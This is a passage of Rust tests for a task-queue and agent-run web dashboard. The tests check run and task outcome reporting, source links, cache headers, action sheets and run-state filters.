14985 assert!(
14986 !APP_JS.contains("src.node === \"chat\""),
14987 "inline href rule is back"
14988 );
14989 assert!(
14990 APP_JS.matches("sourceLinkOf(").count() >= 4,
14991 "helper must serve every page"
14992 );
14993 assert!(
14994 APP_JS.matches("openChatLink(").count() >= 3,
14995 "the run page still needs its explicit chat link"
14996 );
14997 assert!(
14998 !APP_JS.contains("const openChat = el("),
14999 "the Queue card duplicates its source label link again"
15000 );
15001 assert!(
15002 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15003 "the task page must link a chat source label too"
15004 );
15005 }
15006
15007 #[test]
15008 fn task_ref_carries_the_source_link_for_a_chat_task() {
15009 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15010 t.source = Source::Agent {
15011 run: "20260904-014455-ab12".to_owned(),
15012 node: "chat".to_owned(),
15013 };
15014 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15015 let v = serde_json::to_value(&out).expect("json");
15016 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15017 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15018 assert_eq!(v["source_label"], t.source.label());
15019
15020 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15021 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15022 .expect("json");
15023 assert!(v["source_link"].is_null(), "{v}");
15024 }
15025
15026 #[test]
15027 fn task_view_serializes_source_link() {
15028 let mut t = Task::new(
15029 "t".to_owned(),
15030 "t".to_owned(),
15031 PathBuf::from("/repo"),
15032 Source::Agent {
15033 run: "20260901-000000-aaaa".to_owned(),
15034 node: "implement".to_owned(),
15035 },
15036 );
15037 t.runs.clear();
15038 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15039 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15040 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15041 }
15042
15043 #[tokio::test]
15044 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15045 let fx = Fixture::start().await;
15046 let runs = fx.runs();
15047 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15048 write_run(&runs, old, RunStatus::Blocked);
15049 write_run(&runs, new, RunStatus::Merged);
15050 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15051 fx.queue().put(&mut t).expect("put");
15052
15053 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15054 let task = &view["task"];
15055 assert_eq!(task["status"], "done");
15056 assert_eq!(task["is_latest"], false);
15057 assert_eq!(task["latest"]["short"], "bbbb");
15058 assert_eq!(task["finished_by"]["id"], new);
15059 assert_eq!(task["finished_by"]["outcome"], "merged");
15060 assert_eq!(task["closed_by_hand"], false);
15061 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15062 assert!(APP_JS.contains("finished_by"));
15063 assert!(APP_JS.contains("superseded by run"));
15064 }
15065
15066 #[tokio::test]
15067 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15068 let fx = Fixture::start().await;
15069 let runs = fx.runs();
15070 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15071 write_run(&runs, old, RunStatus::Stalled);
15072 write_run(&runs, new, RunStatus::Blocked);
15073 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15074 fx.queue().put(&mut t).expect("put");
15075
15076 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15077 assert_eq!(task["status"], "held");
15078 assert_eq!(task["is_latest"], true);
15079 assert!(task["latest"].is_null());
15080 assert!(task["finished_by"].is_null());
15081 assert_eq!(task["closed_by_hand"], false);
15082 }
15083
15084 #[tokio::test]
15085 async fn a_direct_run_has_no_task_outcome() {
15086 let fx = Fixture::start().await;
15087 let runs = fx.runs();
15088 let id = "20260901-000000-aaaa";
15089 write_run(&runs, id, RunStatus::Blocked);
15090 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15091 assert!(view["task"].is_null());
15092 }
15093
15094 #[test]
15095 fn task_outcome_does_not_guess_a_finishing_run() {
15096 let a = "20260901-000000-aaaa";
15097 let b = "20260901-000000-bbbb";
15098 let c = "20260901-000000-cccc";
15099 let dir = tempfile::tempdir().expect("tempdir");
15100 write_run(dir.path(), a, RunStatus::Blocked);
15101 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15102 let read = |id: &str| read_run(dir.path(), id).ok();
15104 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15107 let out = task_outcome(&t, a, 3, read);
15108 assert!(out.finished_by.is_none());
15109 assert!(out.closed_by_hand);
15110 let latest = out.latest.expect("latest");
15111 assert_eq!(latest.id, c);
15112 assert_eq!(latest.status, None);
15113 assert_eq!(latest.outcome, "record unreadable");
15114
15115 write_run(dir.path(), c, RunStatus::Ready);
15117 let t = outcome_task(&[a, c], TaskStatus::Done);
15118 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15119 assert_eq!(out.finished_by.expect("finisher").id, c);
15120 assert!(!out.closed_by_hand);
15121
15122 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15124 assert!(task_outcome(&t, a, 3, read).is_latest);
15125 }
15126
15127 #[tokio::test]
15128 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15129 let fx = Fixture::start().await;
15134 let q = fx.queue();
15135 let runs = fx.runs();
15136 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15137 write_run(&runs, first, RunStatus::Blocked);
15138 write_run(&runs, second, RunStatus::Merged);
15139
15140 let mut t = Task::new(
15141 "one task".to_owned(),
15142 "do it".to_owned(),
15143 PathBuf::from("/repo"),
15144 Source::Human,
15145 );
15146 t.runs = vec![first.to_owned(), second.to_owned()];
15147 q.put(&mut t).expect("put");
15148
15149 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15150 assert_eq!(earlier["superseded_by"], "dddd");
15151 assert_eq!(earlier["latest_attempt"]["id"], second);
15152 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15153 assert_eq!(
15154 earlier["latest_attempt"]["resolved"], true,
15155 "the run that replaced it landed, so this one reads as settled"
15156 );
15157
15158 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15159 assert!(
15160 later["superseded_by"].is_null(),
15161 "the latest attempt is not superseded by anything"
15162 );
15163 assert!(
15164 later["latest_attempt"].is_null(),
15165 "the latest attempt has no later attempt of its own"
15166 );
15167
15168 assert!(APP_JS.contains("run.latest_attempt"));
15175 assert!(APP_JS.contains("data-superseded"));
15176 assert!(APP_JS.contains("#/runs/${latest.id}"));
15177 }
15178
15179 #[tokio::test]
15180 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15181 let fx = Fixture::start().await;
15187 let q = fx.queue();
15188 let runs = fx.runs();
15189 let (a, b, c) = (
15190 "20260901-000000-aaaa",
15191 "20260901-000000-bbbb",
15192 "20260901-000000-cccc",
15193 );
15194 write_run(&runs, a, RunStatus::Blocked);
15195 write_run(&runs, b, RunStatus::Blocked);
15196 write_run(&runs, c, RunStatus::Merged);
15197
15198 let mut t = Task::new(
15199 "retried twice".to_owned(),
15200 "do it".to_owned(),
15201 PathBuf::from("/repo"),
15202 Source::Human,
15203 );
15204 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15205 q.put(&mut t).expect("put");
15206
15207 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15208 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15209 assert_eq!(
15210 view["latest_attempt"]["id"], c,
15211 "the chain's current head, not the intermediate Blocked retry"
15212 );
15213 assert_eq!(view["latest_attempt"]["resolved"], true);
15214
15215 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15216 assert_eq!(mid["latest_attempt"]["id"], c);
15217 assert_eq!(mid["latest_attempt"]["resolved"], true);
15218 }
15219
15220 #[tokio::test]
15221 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15222 let fx = Fixture::start().await;
15223 let q = fx.queue();
15224 let runs = fx.runs();
15225
15226 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15229 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15230 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15231 let mut t1 = Task::new(
15232 "still stuck".to_owned(),
15233 "do it".to_owned(),
15234 PathBuf::from("/repo"),
15235 Source::Human,
15236 );
15237 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15238 q.put(&mut t1).expect("put");
15239 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15240 assert_eq!(view1["latest_attempt"]["resolved"], false);
15241 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15242 assert_eq!(view1["latest_attempt"]["done"], true);
15243
15244 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15246 write_run(&runs, run_a, RunStatus::Blocked);
15247 write_run(&runs, run_b, RunStatus::Implementing);
15248 let mut t3 = Task::new(
15249 "retrying".to_owned(),
15250 "do it".to_owned(),
15251 PathBuf::from("/repo"),
15252 Source::Human,
15253 );
15254 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15255 q.put(&mut t3).expect("put");
15256 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15257 assert_eq!(view3["latest_attempt"]["id"], run_b);
15258 assert_eq!(view3["latest_attempt"]["resolved"], false);
15259 assert_eq!(view3["latest_attempt"]["done"], false);
15260
15261 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15266 write_run(&runs, noop_a, RunStatus::Blocked);
15267 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15268 let mut t2 = Task::new(
15269 "claims done".to_owned(),
15270 "do it".to_owned(),
15271 PathBuf::from("/repo"),
15272 Source::Human,
15273 );
15274 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15275 q.put(&mut t2).expect("put");
15276 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15277 assert_eq!(
15278 view2["latest_attempt"]["resolved"], false,
15279 "an unverified no-op claim must not read as a confirmed finish"
15280 );
15281
15282 assert!(APP_JS.contains("latest.resolved"));
15285 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15288 assert!(APP_JS.contains("Latest attempt: "));
15289 assert!(APP_JS.contains("in flight"));
15290 assert!(APP_JS.contains("not resolved"));
15291 }
15292
15293 #[tokio::test]
15294 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15295 let fx = Fixture::start().await;
15296 let js = fx.get("/app.js").await;
15302 assert_eq!(js.status, 200);
15303 let tag = js
15304 .header("etag")
15305 .expect("an etag to revalidate against")
15306 .to_owned();
15307 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15308 assert_eq!(
15309 js.header("cache-control"),
15310 Some("no-cache, must-revalidate"),
15311 "the phone has to ask every time"
15312 );
15313
15314 let again = fx
15317 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15318 .await;
15319 assert_eq!(
15320 again.status, 304,
15321 "a deck it already has costs one round trip"
15322 );
15323 assert!(again.body.is_empty(), "304 carries no body");
15324
15325 let weak = fx
15328 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15329 .await;
15330 assert_eq!(weak.status, 304);
15331 let stale = fx
15332 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15333 .await;
15334 assert_eq!(stale.status, 200, "an older build must be replaced");
15335 assert!(stale.body.contains("renderRunActions"));
15336 }
15337
15338 #[test]
15339 fn the_task_detail_has_an_actions_fab_and_sheet() {
15340 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15341 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15342 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15343 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15345 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15346 assert!(APP_JS.contains("renderTaskActions(task);"));
15348 assert!(APP_JS.contains("renderTaskActions(null);"));
15349 let sheet = APP_JS
15351 .find("function renderTaskActions")
15352 .expect("sheet renderer");
15353 let body = &APP_JS[sheet..sheet + 3000];
15354 assert!(body.contains("changePriority("));
15355 assert!(body.contains("openTaskEdit(task)"));
15356 assert!(body.contains("renderTaskHoldBox(host"));
15357 assert!(body.contains("renderTaskDoneBox(host"));
15358 assert!(body.contains("renderTaskDeleteBox(host"));
15359 assert!(APP_JS.contains("API.priority(id)"));
15360 assert!(APP_JS.contains("API.deleteTask(id)"));
15361 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15363 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15365 }
15366
15367 #[test]
15368 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15369 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15370 let actions = INDEX_HTML
15371 .find("id=\"run-actions-box\"")
15372 .expect("actions box");
15373 assert!(task < actions, "the task entry comes first in the sheet");
15374 assert!(APP_JS.contains("renderRunTaskEntry"));
15375 assert!(APP_JS.contains("\"Open task \""));
15376 assert!(APP_JS.contains("started directly, no task"));
15378 assert!(APP_JS.contains("sheet-task-link"));
15379 assert!(APP_JS.contains("task-chip-link"));
15380 }
15381
15382 #[test]
15383 fn the_deck_never_sends_the_operator_to_a_terminal() {
15384 assert!(
15387 !APP_JS.contains("Run `magi fold` first"),
15388 "the deck must offer the fold, not prescribe a shell command"
15389 );
15390 assert!(APP_JS.contains("foldRun:"));
15391 assert!(APP_JS.contains("resumeRun:"));
15392 assert!(APP_JS.contains("renderRunActions"));
15393
15394 assert!(APP_JS.contains("armedFold"));
15396 assert!(APP_JS.contains("Yes, fold worktrees"));
15397
15398 assert!(APP_JS.contains("can no longer be resumed"));
15401 }
15402
15403 #[test]
15404 fn a_finished_run_explains_itself_with_its_own_last_line() {
15405 assert!(
15411 !APP_JS.contains("collapsed on agent quota"),
15412 "a stall must not be explained by a cause the deck did not check"
15413 );
15414 assert!(
15415 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15416 "and a block must not offer a guess with an `or` in it"
15417 );
15418
15419 assert!(
15423 APP_JS.contains("setText(r.event, run.event || \"\")"),
15424 "the run's last line is rendered unconditionally"
15425 );
15426 assert!(
15427 !APP_JS.contains("moving && run.event"),
15428 "and never gated on the run still moving"
15429 );
15430
15431 assert!(APP_JS.contains("lost to quota"));
15433 }
15434
15435 #[test]
15457 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15458 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15459 let shapes_body_start =
15460 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15461 let shapes_close = APP_JS[shapes_body_start..]
15462 .find("].map(")
15463 .expect("the shape list is closed by its done-computing .map(...)")
15464 + shapes_body_start;
15465 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15466
15467 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15468 for entry in shapes_src.split('{').skip(1) {
15469 let waiting = entry.contains("waiting: true");
15470 let dead = entry.contains("live: \"dead\"");
15471 let status_at =
15472 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15473 let status_end = entry[status_at..]
15474 .find('"')
15475 .expect("the status string is closed")
15476 + status_at;
15477 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15478 }
15479 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15480
15481 let done_rule_marker = "done: !";
15485 let done_rule_at = APP_JS[shapes_close..]
15486 .find(done_rule_marker)
15487 .expect("the done rule follows the shape list")
15488 + shapes_close
15489 + done_rule_marker.len();
15490 let includes_at = APP_JS[done_rule_at..]
15491 .find(".includes(shape.status)")
15492 .expect("the done rule ends in .includes(shape.status)")
15493 + done_rule_at;
15494 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15495 .trim()
15496 .trim_start_matches('[')
15497 .trim_end_matches(']')
15498 .split(',')
15499 .map(|s| s.trim().trim_matches('"'))
15500 .filter(|s| !s.is_empty())
15501 .collect();
15502
15503 let shapes: Vec<(bool, String, bool, bool)> = shapes
15504 .into_iter()
15505 .map(|(waiting, status, dead)| {
15506 let done = !not_done.contains(&status.as_str());
15507 (waiting, status, dead, done)
15508 })
15509 .collect();
15510
15511 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15515 if waiting {
15516 return "waiting";
15517 }
15518 if dead
15519 && !matches!(
15520 status,
15521 "merged"
15522 | "ready"
15523 | "stalled"
15524 | "blocked"
15525 | "failed"
15526 | "verified_noop"
15527 | "superseded"
15528 | "already_in_base"
15529 )
15530 {
15531 return "stale";
15532 }
15533 match status {
15534 "merged" | "ready" => "landed",
15535 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15536 | "already_in_base" => "ended",
15537 _ => "flight",
15538 }
15539 }
15540
15541 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15544 match filter_key {
15545 "active" => !done,
15546 "flight" => !done && !waiting && !dead,
15547 "stale" => !done && !waiting && dead,
15548 "waiting" => waiting,
15549 "done" => done,
15550 "all" => true,
15551 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15552 }
15553 }
15554
15555 let compatible = |section: &str, filter_key: &str| {
15556 shapes.iter().any(|(waiting, status, dead, done)| {
15557 run_section(*waiting, status, *dead) == section
15558 && filter_matches(filter_key, *waiting, *dead, *done)
15559 })
15560 };
15561
15562 let expected = [
15567 ("waiting", [true, false, false, true, true, true]),
15568 ("stale", [true, false, true, false, false, true]),
15569 ("flight", [true, true, false, false, false, true]),
15570 ("landed", [false, false, false, false, true, true]),
15571 ("ended", [false, false, false, false, true, true]),
15572 ];
15573 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15574
15575 for (section, wants) in expected {
15576 for (filter_key, want) in filter_keys.iter().zip(wants) {
15577 assert_eq!(
15578 compatible(section, filter_key),
15579 want,
15580 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15581 );
15582 }
15583 }
15584
15585 assert!(
15588 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15589 );
15590 assert!(APP_JS.contains(
15591 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15592 ));
15593 assert!(APP_JS.contains(
15594 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15595 ));
15596 }
15597
15598 #[tokio::test]
15599 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15600 let dir = tempfile::tempdir().expect("tempdir");
15604 let explicit = dir.path().join("not-a-checkout");
15605 std::fs::create_dir_all(&explicit).expect("create dir");
15606 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15607
15608 let missing = dir.path().join("does-not-exist-at-all");
15609 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15610 }
15611
15612 #[test]
15613 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15614 assert!(APP_JS.contains("function statsDonutArcs"));
15615 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15616 assert!(APP_JS.contains("function statusInBucket"));
15618 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15619 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15620 let buckets = [
15621 "merged",
15622 "ready",
15623 "in_progress",
15624 "blocked",
15625 "failed",
15626 "verified_noop",
15627 "superseded",
15628 "stalled",
15629 ];
15630 for key in buckets {
15631 let var = format!("--verdict-{key}:");
15632 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15634 assert!(
15635 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15636 "{key}"
15637 );
15638 }
15639 }
15640}